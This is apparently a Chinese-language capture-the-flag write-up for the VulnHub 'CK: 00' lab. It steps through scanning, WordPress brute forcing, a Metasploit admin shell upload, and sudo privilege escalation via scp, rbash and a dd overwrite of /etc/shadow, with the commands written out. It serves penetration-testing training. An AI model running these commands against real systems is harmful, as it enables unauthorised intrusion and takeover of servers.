靶場搭建
靶機下載地址:CK: 00 ~ VulnHub
下載后,在vmware中打開靶機。
-
修改網絡配置為NAT
-
處理器修改為2
-
啟動靶機
靶機ip掃描不到的解決辦法
-
靶機開機時一直按shift或者esc直到進入GRUB界面。
-
按e進入編輯模式,找到ro,修改為如下內容。ctrl+x重啟服務。
rw signie init=/bin/bash quiet
-
進入如下頁面。如果沒有進入說明第二步修改錯誤,重新執行1,2步。? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ??
-
ip a
查看網卡信息。這里網卡是ens33。? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?? -
打開網卡配置文件
vi /etc/netplan/50-cloud-init.yaml
。? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ??發現網卡名稱不一致,按i修改為以下內容。增加的內容主要是為了將ens33網卡ip配置成攻擊機同網段。? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ??
-
addresses: [ip/24]
-
gateway4: 網關
-
nameservers: addresses: [dns]
-
-
netplan apply
生效,再重啟靶機即可修改成功。
如果上述步驟仍然不行,在步驟5前增加一步:apt install ifupdown resolvconf
信息收集
主機發現
nmap 192.168.233.0/24 -sP -T4
靶機ip為:192.168.233.121。
端口掃描
nmap 192.168.233.121 -A -T4
開放22,80端口。
目錄掃描and網站指紋
首先看看80端口網站首頁。最重要的信息是WordPress。
網站指紋掃描確認一下。
whatweb http://192.168.233.121
該網站的確由WordPress搭建。繼續目錄掃描。
dirsearch -u http://192.168.233.121
根據掃描結果,發現有重定向到ck這個域名的情況,直接訪問報錯報錯,因此需要修改一下hosts文件,vim /etc/hosts
,增加一條主機名和IP地址的映射關系:
192.168.233.121 ck
訪問/wp-login.php。需要用戶密碼,用wpscan進行枚舉。
訪問/wp-includes。沒找到名字和內容敏感的文件。
wpscan
根據前面的信息收集,80端口的網站由WordPress搭建,我們使用wpscan(WordPress掃描工具)掃描,目的是枚舉用戶和密碼。
# 枚舉用戶,插件,主題
wpscan --url http://192.168.233.121 --enumerate u,p,t
根據掃描結果,發現存在admin用戶。接下來使用wpscan爆破密碼。
wpscan --url http://192.168.233.121 --passwords 字典路徑 --usernames admin --max-threads 100
密碼是admin。成功登入wordpress后臺。
2、漏洞利用
已知WordPress用戶名和密碼,打開msf,使用unix/webapp/wp_admin_shell_upload模塊。
msfconsole
search wp_admin
use 0
options
set rhosts 192.168.233.121
set password admin
set username admin
run
成功拿到meterpreter,看到當前權限不高。進入shell模式,進行信息收集。
shell
# 顯示用戶名和路徑(可以不執行這一步)
python3 -c 'import pty;pty.spawn("/bin/bash")'
切換到home目錄,發現存在ck,bla,bla1三個用戶。在/home/ck路徑下發現第一個flag。
在wp-config.php中找到數據庫用戶名和密碼。cat /var/www/html/wp-config.php
。
3、提權
得到的密碼嘗試確認是bla用戶的密碼。
sudo -l
想辦法提權。可用利用scp命令拿到bla1的shell。
scp提權
搜一下scp如何提權。百度告訴我們執行以下四步即可提權。
做一下修改,因為是切換到bla1所以命令應該是:sudo -u bla1 scp -S $TF x y:
。命令執行后報錯Can't open /tmp/tmp.kPOFihNHbV,chmod將這個文件的權限修改為777即可。
rbash
繼續提權sudo -l
。
提示我們利用/bin/rbash拿到ck-00的shell,無密碼。rbash是什么,rbash是受限制的 bash,這里可以就當作是/bin/bash使用,直接切換到ck-00。
sudo -u ck-00 /bin/rbash
sudo -l
。提示我們通過dd提權到root權限。
dd提權
dd命令是用于讀取、轉換、輸出數據的,dd提權主要是利用對數據的轉換來實現的,比如:替換root用戶密碼hash值從而修改密碼達到提權的目的。
在攻擊機上生成明文密碼的hash。使用mkpasswd生成sha-512加密算法的hash。
# -m 指定加密方式
mkpasswd -m sha-512 123456
參照kali中shadow文件root用戶的用戶信息,將第二個參數密碼的hash值替換成剛剛生成的hash值并保存起來備用。
cat /etc/shadow
# 將結果復制出來,替換一下root用戶的hash值
root:$6$lpM1sB/rsDFuAgCN$4kuMA2zqpN9z2O5c5B27GQd.SY3L/R3zC1z4CAQXRJ4jgxW81F3xsE08l7A./1SxBuW/31YBTgcqzKZEI0n.j1:18878:0:99999:7:::
到靶機中,將etc/shadow替換為剛剛備好的內容。
echo 'root:$6$lpM1sB/rsDFuAgCN$4kuMA2zqpN9z2O5c5B27GQd.SY3L/R3zC1z4CAQXRJ4jgxW81F3xsE08l7A./1SxBuW/31YBTgcqzKZEI0n.j1:18878:0:99999:7:::' | sudo dd of=/etc/shadow
執行完畢后,切換到root用戶,輸入我們設置的密碼即可。
get root flag🎆
總結
這里推薦一個網站GTFOBins,用于找提權利用方式的網站。
例如:需要利用dd命令提權,訪問該網站,輸入dd。
點開后會顯示利用方法。